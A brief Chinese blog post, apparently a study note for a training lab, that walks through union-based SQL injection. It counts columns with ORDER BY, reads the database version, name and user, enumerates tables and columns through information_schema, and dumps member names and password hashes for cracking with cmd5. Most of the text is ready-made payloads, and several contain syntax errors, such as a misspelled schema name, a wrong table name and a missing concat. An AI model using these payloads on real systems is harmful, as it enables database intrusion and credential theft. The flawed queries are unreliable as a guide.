sql注入简易


总结

1.判断注入点

2.猜字段数

order by 1 一直换数到出现错误 就是有几个字段
union select 1,2,3,4 有几个就写几个

3.报错

输入and 1=2 使得报错 显示回显数

4.获得回显数位置

在回显数位置输入参数 version()
回车获得数据库版本 如果是5.0以上 自带一个information-schema的数据库
输入database()获取数据库名字 输入user()获得数据库用户

5.查找表名称

union select 1,table_name(表名称),3,4 from information_schema.tables where table_schema=’数据库名字’ limit 0,1

union select 1,table_name,3,4 from information_schem.tables where table_schema =’数据库名字’ limit 1,1
获得表名

6.查找列名

union select 1,column_name(列名),column_type,4 from information_schema.column where table_name=”表名” limit 0,1 更换 1,1 2,2 3,3查出多个列名后 根据列名 获取有用信息

7.通过获得信息查

union select 1,(name,’-‘,password,’-‘),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1 更换1,1
获得两个name和passwrod 利用 cmd5进行 解密

利用到的语句

  • table_schema: 记录数据库名;
  • table_name: 记录数据表名;
  • column_name: 查列名;

文章作者: John Doe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 John Doe !
  目录